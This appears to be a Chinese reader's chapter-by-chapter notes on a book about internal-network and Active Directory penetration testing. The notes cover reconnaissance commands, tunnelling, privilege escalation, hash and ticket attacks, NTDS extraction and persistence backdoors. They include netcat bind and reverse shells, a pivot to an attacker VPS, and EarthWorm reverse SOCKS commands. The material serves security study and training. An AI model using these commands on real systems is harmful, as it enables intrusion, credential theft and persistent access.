强力推荐这本书,都是能在实战中运用到的知识。

第一章 内网渗透测试基础

工作组,可以随便加入退出

域,想要访问域中的资源,就要以合法的身份登陆域

域控制器,DC,域控,所有的身份验证都在DC上面进行,DC上面储存着域中所有的账号和密码散列值

单域、父域和子域(子域名),域树,域森林,域名服务器——域中的计算机都是使用DNS来定位域控制器、服务器及其他计算机、网络服务的。

活动目录,相当于字典的索引,存储着网络中所有资源的快捷方式,用户可以通过快捷方式来定位资源。域树内的所有域共享一个活动目录。活动目录提供账号集中管理、软件集中管理、环境集中管理、增强安全性、更可靠,更短的宕机时间。

域控制器本身通常是指软件本身,其中Active Directory是指该软件提供的服务。

DMZ,隔离区,是外网和内网中间的区域

域中的计算机的分类:域控制器、成员服务器、客户机、独立服务器

域内权限:域本地组、全局组、通用组

比较重要的域本地组权限:管理员组、远程登陆组、打印机操作员组、域管理员组、结构管理员组。

虚拟机网卡模式:桥接(虚拟机与物理机身份相同)、NAT(虚拟机通过物理机连接,使用物理机网卡),Host-only(相当于本地建设了一个局域网,局域网可以通过物理机的网络分享来上网)

还有一些不同操作系统下内网渗透的常用工具。

第二章 内网信息收集

信息收集的深度直接关系到内网渗透测试的成败

在进入内网之后首先要对当前所处的网络环境进行判断。

我是谁————当前机器角色的判断(web服务器?生产服务器?

这是哪————对当前机器所在网络环境的拓扑结构进行分析和判断

我在哪————对当前机器所处区域的判断(DMZ?生产区?办公区?

收集本机信息:操作系统、权限、IP地址、杀毒软件、端口、服务、补丁、网络连接、共享

查询当前权限

whoami

whoami /all

net user XXX /domain

判断域是否存在

ipconfig /all

systeminfo

net config workstation

net time /domian

探测域内存活主机

1、利用NetBIOS协议探测,nbtscan

2、利用ICMP协议,也就是PING

3、通过ARP

arpscan

Empire中的arpscan

Nishang中的脚本

4、通过常规的TCP/UDP端口扫描内网,scanline

扫描域内端口

1、telnet命令扫描。 telnet DC 3389

2、S扫描器

3、Metasploit

4、Powersploit 的 PS脚本

5、Nishang的端口扫描模块

获取到端口的Banner信息之后就可以找EXP,exploitDB、seebug

收集域内基础信息 以下都需要域认证所以说需要域用户或者是本地system权限

net veiw /domain 查询域

net view /domain:HACK 查询域内所有计算机

net group /domain 查询域内所有用户组列表

net group “domain computers” /domain 查询所有域成员计算机列表

net account /domain 获取域密码信息

nltest /doamin_trusts 获取域信任信息

查找域控制器

letest /DCLIST:HACK 查看域控制器的机器名

Nslookup -type=SRV _ldap._tcp 查看与控制器的主机名

net time /domain 查看当前时间

net group "domain controllers" /domain 查看域控制器组,一般都会有两个以上,因为要防灾

netdom query pdc

获取域内的用户和管理员信息

net user /domain 向域控制器查询

net gourp “Enterprise Admins” /domain 查询管理员用户组

定位域管理员

当计算机加入域中,域管理员会被赋予本地系统管理员权限。

定位域管理员的常规渠道,一是日志,二是会话。

常用工具psloggedon.exe、PAEFindADUser.exe、netsess.exe、hunter、NetView、Nmap的NSE脚本,在PowerShell中,常用的工具是PowerView。

查找域管理进程

在渗透测试中,典型的域权限提升过程,通常是围绕着收集明文凭据或者通过mimikatz提权等方法,在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据,如果说当前的系统中没有获得域管理员进程,而且当前的账户也不是域管理员账户,那么就只可以看看当前的账户在哪台机器上是管理员,再去另外一台机器试试机会。直到找到可以获取到域管理员的路径(方法)。

1、net group “Domian Admins” /domain 获取域管理员列表

2、tasklist /v 列出本机所有进程以及进程用户

3、寻找用户为域管理员的进程。

查询域控制器的域用户会话

1、net group “Domain Controllers” /domain 查询域控制器列表。

2、net group “Domian Admins” /domain 获取域管理员列表

3、NetSess -h

4、交叉引用域管理员列表与活动会话列表

通过扫描NetBIOS信息,有些版本的win允许用户通过NetBIOS查询已登录用户。

域管理员模拟方法

PowerShell介绍,是脚本环境,想要执行脚本就要修改PowerShell的执行权限,有四种模式

  • Restricted:默认设置,不允许执行任何脚本
  • Allsigned: 只能运行经过证书验证的脚本
  • Unrestricted:权限最高,可以执行任意脚本
  • RemoteSigned:对本地的脚本不做限制;对来自网络的脚本必须验证其签名。

Get-ExecutionPolicy 查看当前ps的执行权限。

Set-ExecutionPolicy Unrestriceted

Import-Module .\PowerView.ps1 导入pv脚本

域分析工具BloodHound

信息收集、图形化界面、查找到域管理员的最短路径

第三章 隐藏通信隧道技术

隐藏通信隧道,这里的隧道的意思,一种绕过端口屏蔽的通信方式,将数据包封装成防火墙允许的类型或者端口,与对方通信,到达目的地时将数据包还原,并将数据包发送到目的地址。

常用的隧道列举如下:

  • 网络层:IPv6隧道,ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发。
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

判断内网的连通性,要综合判断。

1、ICMP协议,就是PING

2、TCP协议,netcat

3、HTTP协议,curl

4、DNS协议, nslookup www.baidu.com vps-ip、dig @vps-ip www.baidu.com

网络层隧道技术

1、IPv6隧道

就是在IPv6的报文中隐藏IPv4的报文。相关工具socat、6tunnel、nt6tunnel等。

2、ICMP隧道

ICMP通讯不需要开放端口

  • icmpsh

  • Pingtunnel

  • 防御方法

    检测同一来源的ICMP数据包的数量,一个正常的ping每秒最多2个数据包。

    检测大于64bit的ICMP数据包

    检测响应数据包和请求数据包中的Payload不一致的ICMP数据包

    检测ICMP数据包的协议标签。

传输层隧道技术

1、lcx端口转发

内网端口转发

lcx.exe -slave 4444 127.0.0.1 3389 //将3389的端口映射到4444上

lcx.exe -listen 4444 5555 将4444端口监听的数据转发到5555端口上

以上可以完成 访问VPS的5555就可以连接到第一台主机的3389端口

本地端口转发

lcx -tran 53 <目标自身IP> 3389

以上可以完成访问53端口来登录远程桌面

2、netcat

banner抓取(直接nc ip 端口)、连接远程主机、端口扫描(就是banner抓取)、端口监听、文件传输

正向shell

被控主机:nc -lvp 4444 -e /bin/sh

攻击机: nc ip 4444

反向shell

nc -lvp 9999

nc 9999 -e /bin/sh

python反向shell

bash反向shell

php反向shell

perl反向shell

内网代理

VPS: nc -lvp 3333

database: nc -lvp 3333 -e /bin/sh

web: nc -v <VPS_IP> 3333 -c “nc -v <database_IP> 3333”

以上可以让kali连接到database的shell

powercat

应用层隧道技术

SSH协议

本地转发

ssh -CfNg -L 1553(VPS port):1.1.1.10(target):3389(target port) root@192.168.1.11(jump PC) → enter password

以上在VPS中执行,在内网有一个可控主机而且ssh打开知道密码的情况下,可以使用ssh来完成本地转发。

远程转发

VPS不能够访问内网。

在内网跳板执行,主动连接VPS和target

动态转发

也就是变成代理,VPS直接可以使用跳板机作为代理服务器

  • 防御思路

    SSH远程管理白名单

HTTP/HTTPS协议

reGeorg、meterpreter、tunna等。

DNS协议

C&C(command & control)服务器。

工具dnscat2、iodine

SOCKS代理

1、EarthWorm

2、reGeorg

3、sSocks

4、SocksCap64

5、Proxifier

6、ProxyChains

EW应用

ew -s ssocksd -l 888

有外网的直接用这个,VPS直接将服务器的888作为代理,直接内网漫游。

ew -s rcsocks -l 1008 -e 888

在VPS中执行,这个就是将1080收到的代理请求转发到888端口

ew -s rssocks -d <VPS_IP> -e 888

在内网机器使用,就是启动SOCKS5然后将其反弹到VPS的888端口

win下SocksCap64实现内网漫游,linux下proxychains实现内网漫游,其实就是一堆代理

压缩数据

rar、7-zip

上传下载

1、FTP上传

2、VBS上传

3、Debug上传,原理就是将exe转换成十六进制,然后再用debug编译回exe

4、Nishang上传,原理也是十六进制

5、利用bitsadmin下载,win自导工具,用来下载系统更新的。

6、利用PowerShell下载。

第四章 权限提升分析及防御

在windows中权限大概分为四种:User、Administrator、System、TrustedInstaller。

常见的提权方法有系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、Web中间件漏洞提权、DLL劫持提权、滥用高权限令牌提权、第三方软件/服务提权等。

系统内核溢出漏洞提权

通过缺失补丁

手动检查补丁

Metasploit、Windows Exploit Suggester、sherlock

Windows操作系统配置错误利用分析

1、系统服务权限配置错误:服务以高权限运行,但是可执行文件可写。

有两种可能:

  • 服务未运行:攻击者替换可执行文件,然后重启服务
  • 服务已运行且无法终止:利用DLL劫持技术并尝试重启服务提权

工具:PowerUp、Metasploit

2、注册表键AlwaysInstallElevated

原理是允许低权限的用户以system权限运行安装文件。

工具:PowerUp

3、可信任服务路径漏洞

就是没带引号的那个,服务要是没有带引号而且有空格,执行的软件就会出问题。

工具:Metasploit

4、自动安装配置文件

网络管理员为了方便会批量的部署内网环境,在其中使用的配置文件中可能包含有,本地管理员的账号和密码信息,而且这种信息同时可以在相同安装环境的主机下。

5、计划任务

跟高级服务的那个差不多,计划任务是高权限用户在执行,低权限用户修改其执行文件。

6、Empire内置模块,PowerUp

组策略首选项提权分析

组策略修改密码,密码强度虽然提高,但是多个本地管理员的密码都会是相同的。

管理员在域中新建一个组策略之后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。此密码使用AES-256加密算法,但是微软已经公开其私钥,这意味着任何用户都可以访问保存在XML文件中的密码并将其解密。

工具:PowerSploit、Metasploit、Empire。

绕过UAC提权

UAC就是平时安装软件会弹出来的那个东西。

工具:Metasploit-bypassuac模块、RunAs模块、Nishang中的Invoke-PsUACme模块、Empire中的bypassuac模块。

令牌窃取分析及防范

不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝

Metasploit中“use incognito”,然后“list_token -u”,列出可用令牌,调用impersonate_token,执行“shell”之后就获取的系统管理员权限了。

Rotten Potato本地提权

添加域管理员

假设网络中设置了域管理进程,使用migrate命令迁移到此进程。输入“shell”,进入命令行界面,就可以添加用户到域管理员组了。

Empire下的令牌窃取分析

mimikatz可以利用正在运行的进程来窃取域用户的令牌。

无凭证条件下的权限获取分析

LLMNR和NetBIOS欺骗,来获取Net-NTLM Hash。

DNS服务器发生故障的时候,会退回使用 LLMNR和NetBIOS,此时可以使用responder来监听抓取相应中的Net-NTLM Hash,使用hashcat破解之后获取明文横向移动

第五章 域内横向移动分析及防御

IPC

利用条件:

用户名密码、开启了139、455端口。管理员开启了默认共享。

dir、tasklist、at、schtasks。

Windows系统散列值获取分析与防范

LM Hash(DES) 和 NTLM Hash(MD4)

想要在win中抓取散列值或明文密码,必须将权限提升至system。本地用户名、散列值和其他安全验证信息都保存在SAM文件中。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

SAM文件保存的位置是C:\Windows\System32\config。可以在关闭win之后通过PE系统复制文件,也可以使用VSS等方法进行复制。

工具:GetPass、PwDump7、QuarksPwDump、PowerShell

通过SAM和System文件抓取密码:mimikatz

使用Hashcat获取密码

就是破解密码

哈希传递攻击

该方法通过找到与账户相关的密码散列值来进行攻击,在win中散列值就是用来证明身份的。攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

还是在使用mimikatz但是哈希传递是需要本地管理员权限的。

票据传递攻击分析

从内存中换掉票据

mimikatz、kekeo

哈希传递攻击和票据传递攻击的区别就是,hash传递利用的是从当前计算机中获取的hash来进行认证。票据是票据,有效性是有时间限制的。

PsExec

需要连接IPC、需要开启admin$共享

windows提供的工具,所以说再杀毒软件的白名单中。

Meatasploit中也有相对应模块。

WMI

需要密码,重点是不会产生日志

永恒之蓝

Metasploit

smbexec

通过文件共享在远程系统中执行命令。需要用户名密码。

DCOM

还是要通过IPC连接

SPN(ServicePrincipal Names)

域内的每种资源都会被分配不同的SPN,使用对应的SPN服务需要通过Kerberos身份验证来获取对应的票据,从而访问相应的服务。

Exchange邮件服务器

源码、明文密码、VPN配置、敏感业务

https://ares-x.com/2020/03/21/域渗透学习(七)PTT-票据传递攻击/#PTT-票据传递攻击

第六章 域控制器安全

通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件。使用Windows本地卷影拷贝服务,就可以获得文件的副本。

ntds文件中包含着用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM一样是被系统锁定的。

提取方法:

通过ntdsutil.exe提取,原理是创建快照。

通过vssadmin提取,原理也是创建卷影。

通过vssown.vbs脚本提取,与vssadmin类似。

通过ntdsutil的IFM创建卷影拷贝。

使用diskshadow导出,也是卷影copy。

导出ntds.dit中的散列值

使用esedbexport

使用impacket工具包

使用NTDSDumpex.exe导出

利用dcsunc获取域散列值

使用mimikatz转储域散列值。

使用dcsync

使用Metasploit

使用vshadow.exe和QuarksPwDump.exe导出域账号和域散列值

Kerberos域用户提权漏洞

攻击者获取了域内任意机器的权限,并且知道任意域用户的SID、用户名、密码就可以提权到任意域用户

第七章 跨域攻击分析及防御

常见的跨域攻击方法:

常规渗透(例如利用Web漏洞跨域获取权限)

利用一直域散列值进行哈希传递或者票据传递攻击(例如域控制器本地管理员密码可能相同。)

利用域信任关系进行跨域攻击。

第八章 权限维持分析及防御

后门就是一个留在目标主机上的软件,它可以使攻击者随时与目标主机进行连接。

操作系统后门

粘滞键后门:替换windows\system32下的sethc.exe

empire也可以实现这一功能。

注册表注入后门,empire也可以实现这一功能。

计划任务后门,schtasks。

Metasploit中模拟计划任务后门、PowerSploit也可以。

meterpreter后门

Cymothoa后门

WMI型后门

WMI型后门只能由具有管理员权限的用户运行。WMI型后门的两个特征:无文件和无进程。原理是:代码加密存储在WMI中,达到所谓无文件,当设定的条件被满足时,系统将自动启动PS进程去执行后门程序,执行后,进程会消失。

WEB后门

Nishang的WebShell

weevely后门

webacoo后门

ASPX meterpreter后门

PHP meterpreter后门

域控制器权限持久化分析

DSRM域后门

DSRM(目录服务恢复模式),每个域控制器都有一个本地管理员账户。DSRM用途是在出现故障的的时候还原、修复、重建活动目录数据库。DSRM的密码在DC安装的时候设置,很少被重置。在渗透环境中,可以使用DSRM账号对域环境进行持久化操作。

SSP维持域控权限

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。是一个DLL文件,SSPI是SSP的API接口。LSA用作身份验证,在系统启动的时候,SSP被加载到lsass.exe中,攻击者可以通过拓展此DLL加入一些恶意的功能,使得用户在修改密码的时候,窃取用户的新密码。

Golden Ticket(黄金票据)

在域环境中,每个用户的票据都是krbtgt生成的,如果攻击者拿到了krbtgt的NTLM Hash或者AES-256值,就可以伪造域内任意用户的身份(甚至不存在的用户),并以该用户的身份访问其他服务。

因为KDC使用krbtgt用户的Hash作为密钥进行加密,生成TGT。

使用黄金票据进行票据传递攻击是,需要以下信息:

需要伪造的用户名

完整的域名

域SID

krbtgt的NTLM Hash 或 AES-256值

Silver Ticket(白银票据)

黄金票据使用krbtgt的散列值,去获取任意用户的票据。

白银票据通过对应服务账号的散列值,去获取对应服务的权限。

最根本的原因就是服务的票据是通过服务自身的hash解密和加密的(使用的是对称密钥),加密的信息、方式、密钥都有了,伪造ticket那是很自然的事情。

需要掌握以下信息:

域名

域SID

目标服务器的FQDN

可利用的服务

服务账号的NTLM Hash

需要伪造的用户名

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密

Skeletion Key

万能密码

Hook PasswordChangeNotify

注入DLL,在用户改密码系统验证复杂性的环节窃取密码。

Nishang的脚本后门

第九章 Cobalt Strike

黄金票据和白银票据攻击及其原理介绍 - 简书 (jianshu.com)